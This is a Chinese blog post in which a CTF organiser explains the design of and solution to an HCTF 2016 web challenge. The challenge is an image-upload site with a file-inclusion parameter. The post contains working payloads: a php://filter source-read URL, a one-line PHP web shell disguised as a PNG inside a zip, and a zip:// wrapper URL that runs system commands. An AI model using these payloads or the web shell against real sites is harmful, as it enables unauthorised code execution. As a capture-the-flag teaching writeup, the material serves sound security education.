HeartSky's blog


在渗透之路上渐行渐远


HCTF-2016-兵者多诡-出题思路及wp

出题思路

这道题的思路来源于https://www.securusglobal.com/community/2016/08/15/bypassing-php-null-byte-injection-protections/

writeup

进去后发现是个上传图片的网站,这里可能存在文件上传漏洞

先随便上传一个文件进去,提示 只能上传PNG图片,猜测可能对文件后缀名做了检测。经过测试后发现上传的文件都被强制改了后缀 .png,%00截断的方法因已经修复不能用了。

我们回来看下这里的 fp 参数其实很明显,代表包含文件的文件名,可以采用php协议来读 php 文件源码

1
http://pics.hctf.io/home.php?fp=php://filter/read=convert.base64-encode/resource=home

可以发现对上传的文件类型做了检测

1
2
3
4
5
6
7
if($type !== 'image/png')
{
?>
<div class="alert alert-danger" role="alert">只能上传PNG图片</div>
<?php
exit;
}

而且改了后缀名

1
move_uploaded_file($name,"uploads/$imagekey.png");

这时候我们可以通过 zip/phar伪协议 来包含文件

1
2
zip://xxx.png%23shell
phar://xxx.png/shell

首先随便写个 php 文件

1
2
3
<?php
$_GET['a']($_GET['b']);
?>

然后压缩,重命名为 shell.png 来绕过上传检测,这样我们就 getshell 了

1
http://pics.hctf.io/home.php?fp=zip://uploads/515969bfe90c2f52fbcd7e5818e8688b681eea4e.png%23shell&a=system&b=ls

最后 flag 在上层目录下的一个 php 文件里

防止搅屎

  • 为了防止 flag 文件路径泄露从而直接利用 fp 参数获得 flag,结合源码里的
    1
    2
    3
    4
    if(preg_match('/\.\./',$fp))
    {
    die('No No No!');
    }

把 flag 文件放在了上层目录,保证选手一定要通过 zip/phar 伪协议

  • 权限设置。除了上传的文件,其他文件所有者都是 root 用户,根据最小权限原则卡死权限,例如 php 文件对于当前用户均只能读。

  • 进入第二层的队伍很快做出了这道题。想起来上传的文件不删除的话,url 泄露就 gg 了。便临时写了一个守护脚本,每隔 15 分钟删一次 uploads 文件夹下的所有内容。